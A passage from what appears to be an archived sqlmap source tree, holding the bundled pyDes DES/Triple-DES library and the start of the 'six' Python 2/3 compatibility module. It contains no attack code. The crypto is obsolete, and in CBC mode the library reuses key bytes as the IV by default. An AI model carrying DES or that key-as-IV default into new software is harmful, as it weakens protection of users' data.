b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) d = k.encrypt(data) print "Encrypted: %r" % d print "Decrypted: %r" % k.decrypt(d) assert k.decrypt(d, padmode=PAD_PKCS5) == data See the module source (pyDes.py) for more examples of use. You can also run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. """ import sys # _pythonMajorVersion is used to handle Python2 and Python3 differences. _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering ECB = 0 CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. # For a good description of the PKCS5 padding technique, see: # http://www.faqs.org/rfcs/rfc1423.html # The base class shared by des and triple des. class _baseDes(object): def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): if IV: IV = self._guardAgainstUnicode(IV) if pad: pad = self._guardAgainstUnicode(pad) self.block_size = 8 # Sanity checking of arguments. if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if IV and len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") # Set the passed in variables self._mode = mode self._iv = IV self._padding = pad self._padmode = padmode def getKey(self): """getKey() -> bytes""" return self.__key def setKey(self, key): """Will set the crypting key for this object.""" key = self._guardAgainstUnicode(key) self.__key = key def getMode(self): """getMode() -> pyDes.ECB or pyDes.CBC""" return self._mode def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" self._mode = mode def getPadding(self): """getPadding() -> bytes of length 1. Padding character.""" return self._padding def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" if pad is not None: pad = self._guardAgainstUnicode(pad) self._padding = pad def getPadMode(self): """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" return self._padmode def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" self._padmode = mode def getIV(self): """getIV() -> bytes""" return self._iv def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") IV = self._guardAgainstUnicode(IV) self._iv = IV def _padData(self, data, pad, padmode): # Pad data depending on the mode if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode == PAD_NORMAL: if len(data) % self.block_size == 0: # No padding required. return data if not pad: # Get the default padding. pad = self.getPadding() if not pad: raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") data += (self.block_size - (len(data) % self.block_size)) * pad elif padmode == PAD_PKCS5: pad_len = 8 - (len(data) % self.block_size) if _pythonMajorVersion < 3: data += pad_len * chr(pad_len) else: data += bytes([pad_len] * pad_len) return data def _unpadData(self, data, pad, padmode): # Unpad data depending on the mode. if not data: return data if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if padmode == PAD_NORMAL: if not pad: # Get the default padding. pad = self.getPadding() if pad: data = data[:-self.block_size] + \ data[-self.block_size:].rstrip(pad) elif padmode == PAD_PKCS5: if _pythonMajorVersion < 3: pad_len = ord(data[-1]) else: pad_len = data[-1] data = data[:-pad_len] return data def _guardAgainstUnicode(self, data): # Only accept byte strings or ascii unicode values, otherwise # there is no way to correctly decode the data into bytes. if _pythonMajorVersion < 3: if isinstance(data, unicode): raise ValueError("pyDes can only work with bytes, not Unicode strings.") else: if isinstance(data, str): # Only accept ascii unicode values. try: return data.encode('ascii') except UnicodeEncodeError: pass raise ValueError("pyDes can only work with encoded strings, not Unicode.") return data ############################################################################# # DES # ############################################################################# class des(_baseDes): """DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> Bytes containing the encryption key, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. """ # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23,13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): # Sanity checking of arguments. if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") _baseDes.__init__(self, mode, IV, pad, padmode) self.key_size = 8 self.L = [] self.R = [] self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Must be 8 bytes.""" _baseDes.setKey(self, key) self.__create_sub_keys() def __String_to_BitList(self, data): """Turn the string data, into a list of bits (1, 0)'s""" if _pythonMajorVersion < 3: # Turn the strings into integers. Python 3 uses a bytes # class, which already has this behaviour. data = [ord(c) for c in data] l = len(data) * 8 result = [0] * l pos = 0 for ch in data: i = 7 while i >= 0: if ch & (1 << i) != 0: result[pos] = 1 else: result[pos] = 0 pos += 1 i -= 1 return result def __BitList_to_String(self, data): """Turn the list of bits -> data, into a string""" result = [] pos = 0 c = 0 while pos < len(data): c += data[pos] << (7 - (pos % 8)) if (pos % 8) == 7: result.append(c) c = 0 pos += 1 if _pythonMajorVersion < 3: return ''.join([ chr(c) for c in result ]) else: return bytes(result) def __permutate(self, table, block): """Permutate this block with the specified table""" return [block[i] for i in table] # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 #B = [] #while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 Bn = [0] * 32 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = [b ^ l for b, l in zip(self.R, self.L)] # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] #cached = 0 #lines = 0 while i < len(data): # Test code for caching encryption results #lines += 1 #if dict.has_key(data[i:i+8]): #print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i+8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = [b ^ v for b, v in zip(block, iv)] #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: processed_block = [b ^ v for b, v in zip(processed_block, iv)] #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list #d = self.__BitList_to_String(processed_block) #result.append(d) result.append(self.__BitList_to_String(processed_block)) #dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Return the full crypted string if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self._padData(data, pad, padmode) return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self.crypt(data, des.DECRYPT) return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): """Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> Bytes containing the encryption key, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. """ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): _baseDes.__init__(self, mode, IV, pad, padmode) self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC: if not self.getIV(): # Use the first 8 bytes of the key self._iv = key[:self.block_size] if len(self.getIV()) != self.block_size: raise ValueError("Invalid IV, must be 8 bytes in length") self.__key1 = des(key[:8], self._mode, self._iv, self._padding, self._padmode) self.__key2 = des(key[8:16], self._mode, self._iv, self._padding, self._padmode) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:], self._mode, self._iv, self._padding, self._padmode) _baseDes.setKey(self, key) # Override setter methods to work on all 3 keys. def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" _baseDes.setMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setMode(mode) def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" _baseDes.setPadding(self, pad) for key in (self.__key1, self.__key2, self.__key3): key.setPadding(pad) def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" _baseDes.setPadMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setPadMode(mode) def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" _baseDes.setIV(self, IV) for key in (self.__key1, self.__key2, self.__key3): key.setIV(IV) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) # Pad the data accordingly. data = self._padData(data, pad, padmode) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): block = self.__key1.crypt(data[i:i+8], ENCRYPT) block = self.__key2.crypt(block, DECRYPT) block = self.__key3.crypt(block, ENCRYPT) self.__key1.setIV(block) self.__key2.setIV(block) self.__key3.setIV(block) result.append(block) i += 8 if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) else: data = self.__key1.crypt(data, ENCRYPT) data = self.__key2.crypt(data, DECRYPT) return self.__key3.crypt(data, ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting, no pad character is required for PAD_PKCS5. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): iv = data[i:i+8] block = self.__key3.crypt(iv, DECRYPT) block = self.__key2.crypt(block, ENCRYPT) block = self.__key1.crypt(block, DECRYPT) self.__key1.setIV(iv) self.__key2.setIV(iv) self.__key3.setIV(iv) result.append(block) i += 8 if _pythonMajorVersion < 3: data = ''.join(result) else: data = bytes.fromhex('').join(result) else: data = self.__key3.crypt(data, DECRYPT) data = self.__key2.crypt(data, ENCRYPT) data = self.__key1.crypt(data, DECRYPT) return self._unpadData(data, pad, padmode) sqlmap-1.9.6/thirdparty/six/000077500000000000000000000000001502261744200160245ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/six/__init__.py000066400000000000000000001036171502261744200201450ustar00rootroot00000000000000# Copyright (c) 2010-2024 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """Utilities for writing code that runs on Python 2 and 3""" from __future__ import absolute_import import functools import itertools import operator import sys import types __author__ = "Benjamin Peterson " __version__ = "1.17.0" # Useful for very coarse version differentiation. PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 PY34 = sys.version_info[0:2] >= (3, 4) if PY3: string_types = str, integer_types = int, class_types = type, text_type = str binary_type = bytes MAXSIZE = sys.maxsize else: string_types = basestring, integer_types = (int, long) class_types = (type, types.ClassType) text_type = unicode binary_type = str if sys.platform.startswith("java"): # Jython always uses 32 bits. MAXSIZE = int((1 << 31) - 1) else: # It's possible to have sizeof(long) != sizeof(Py_ssize_t). class X(object): def __len__(self): return 1 << 31 try: len(X()) except OverflowError: # 32-bit MAXSIZE = int((1 << 31) - 1) else: # 64-bit MAXSIZE = int((1 << 63) - 1) del X if PY34: from importlib.util import spec_from_loader else: spec_from_loader = None def _add_doc(func, doc): """Add documentation to a function.""" func.__doc__ = doc def _import_module(name): """Import module, returning the module after the last dot.""" __import__(name) return sys.modules[name] class _LazyDescr(object): def __init__(self, name): self.name = name def __get__(self, obj, tp): result = self._resolve() setattr(obj, self.name, result) # Invokes __set__. try: # This is a bit ugly, but it avoids running this again by # removing this descriptor. delattr(obj.__class__, self.name) except AttributeError: pass return result class MovedModule(_LazyDescr): def __init__(self, name, old, new=None): super(MovedModule, self).__init__(name) if PY3: if new is None: new = name self.mod = new else: self.mod = old def _resolve(self): return _import_module(self.mod) def __getattr__(self, attr): _module = self._resolve() value = getattr(_module, attr) setattr(self, attr, value) return value class _LazyModule(types.ModuleType): def __init__(self, name): super(_LazyModule, self).__init__(name) self.__doc__ = self.__class__.__doc__ def __dir__(self): attrs = ["__doc__", "__name__"] attrs += [attr.name for attr in self._moved_attributes] return attrs # Subclasses should override this _moved_attributes = [] class MovedAttribute(_LazyDescr): def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): super(MovedAttribute, self).__init__(name) if PY3: if new_mod is None: new_mod = name self.mod = new_mod if new_attr is None: if old_attr is None: new_attr = name else: new_attr = old_attr self.attr = new_attr else: self.mod = old_mod if old_attr is None: old_attr = name self.attr = old_attr def _resolve(self): module = _import_module(self.mod) return getattr(module, self.attr) class _SixMetaPathImporter(object): """ A meta path importer to import six.moves and its submodules. This class implements a PEP302 finder and loader. It should be compatible with Python 2.5 and all existing versions of Python3 """ def __init__(self, six_module_name): self.name = six_module_name self.known_modules = {} def _add_module(self, mod, *fullnames): for fullname in fullnames: self.known_modules[self.name + "." + fullname] = mod def _get_module(self, fullname): return self.known_modules[self.name + "." + fullname] def find_module(self, fullname, path=None): if fullname in self.known_modules: return self return None def find_spec(self, fullname, path, target=None): if fullname in self.known_modules: return spec_from_loader(fullname, self) return None def __get_module(self, fullname): try: return self.known_modules[fullname] except KeyError: raise ImportError("This loader does not know module " + fullname) def load_module(self, fullname): try: # in case of a reload return sys.modules[fullname] except KeyError: pass mod = self.__get_module(fullname) if isinstance(mod, MovedModule): mod = mod._resolve() else: mod.__loader__ = self sys.modules[fullname] = mod return mod def is_package(self, fullname): """ Return true, if the named module is a package. We need this method to get correct spec objects with Python 3.4 (see PEP451) """ return hasattr(self.__get_module(fullname), "__path__") def get_code(self, fullname): """Return None Required, if is_package is implemented""" self.__get_module(fullname) # eventually raises ImportError return None get_source = get_code # same as get_code def create_module(self, spec): return self.load_module(spec.name) def exec_module(self, module): pass _importer = _SixMetaPathImporter(__name__) class _MovedItems(_LazyModule): """Lazy loading of moved objects""" __path__ = [] # mark as package _moved_attributes = [ MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), MovedAttribute("intern", "__builtin__", "sys"), MovedAttribute("map", "itertools", "builtins", "imap", "map"), MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), MovedAttribute("getoutput", "commands", "subprocess"), MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), MovedModule("html_parser", "HTMLParser", "html.parser"), MovedModule("http_client", "httplib", "http.client"), MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), MovedModule("cPickle", "cPickle", "pickle"), MovedModule("queue", "Queue"), MovedModule("reprlib", "repr"), MovedModule("socketserver", "SocketServer"), MovedModule("_thread", "thread", "_thread"), MovedModule("tkinter", "Tkinter"), MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), MovedModule("tkinter_tix", "Tix", "tkinter.tix"), MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), MovedModule("tkinter_dnd", "Tkdnd", 